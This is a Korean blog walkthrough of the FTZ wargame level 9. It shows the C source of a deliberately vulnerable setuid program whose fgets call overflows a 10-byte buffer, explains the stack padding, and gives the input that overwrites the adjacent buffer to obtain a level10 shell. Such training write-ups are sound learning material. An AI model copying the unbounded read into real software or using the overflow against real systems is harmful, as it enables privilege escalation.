FTZ level9
hint :
다음은 /usr/bin/bof의 소스이다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | #include <stdio.h> #include <stdlib.h> #include <unistd.h> main(){ char buf2[10]; char buf[10]; printf("It can be overflow : "); fgets(buf,40,stdin); if ( strncmp(buf2, "go", 2) == 0 ) { printf("Good Skill!\n"); setreuid( 3010, 3010 ); system("/bin/bash"); } } | cs |
이를 이용하여 level10의 권한을 얻어라.
ftz에서 처음 나오는 버퍼 오버플로우 문제이다.
버퍼오버플로우가 뭔지 모른다면 관련 기초문서를 보고 오는게 좋다.
먼저 소스를 분석해보자
스택에 10바이트 크기의 char형 배열 buf2를 선언한다
그 후 10바이트 크기의 char형 배열 buf를 하나 더 선언한다.
그리고 fgets함수로 buf에 입력은 받은 뒤
strncmp함수로 buf2와 문자열 "go" 의 처음 두자리를 비교한 뒤 함수의 리턴값이 0이면 (처음 두자리가 같으면)
Good Skill!을 출력하고 level10의 권한으로 쉘을 실행시킨다.
fgets함수는 40바이트까지 입력을 할수 있게 되어있지만 실제 buf의 크기는 10이므로
10바이트 넘게 입력을 하면 버퍼오버플로우가 일어나 buf2로 입력이 가능하다.
메모리의 높은 주소
-------------
ret 4byte
------------- ↓ 스택이 자라는 방향
sfp 4byte (saved frame pointer)
-------------
dummy1 ???
-------------
dummy2 ???
-------------
buf2[10] 10byte
-------------
dummy3 ???
-------------
buf[10] 10byte
-------------
메모리의 낮은 주소
dummy3의 크기는 buf와 buf2에 따라 결정된다
buf와 buf2의 크기가 모두 9byte 이상일때,
buf의 시작주소와 buf2의 시작주소까지의 거리가 16의 배수가 되게 dummy3의 크기가 결정된다.
(http://geundi.tistory.com/120 참고)
따라서 dummy3의 크기는 6byte가 된다.
이제 buf2의 처음 두 자리에 "go" 라는 문자열이 들어가게 하려면
buf+dummy3 = 16(byte)를 아무 문자로 채우고 go를 입력한다
[level10@ftz bin]$ ./bof
It can be overflow : aaaaaaaaaaaaaaaago
Good Skill!
[level10@ftz bin]$ my-pass
'System > FTZ' 카테고리의 다른 글
FTZ level11 (0) | 2015.03.17 |
---|---|
FTZ level10 (0) | 2015.03.17 |
FTZ level8 (0) | 2015.03.17 |
FTZ level7 (0) | 2015.03.17 |
FTZ level6 (0) | 2015.03.17 |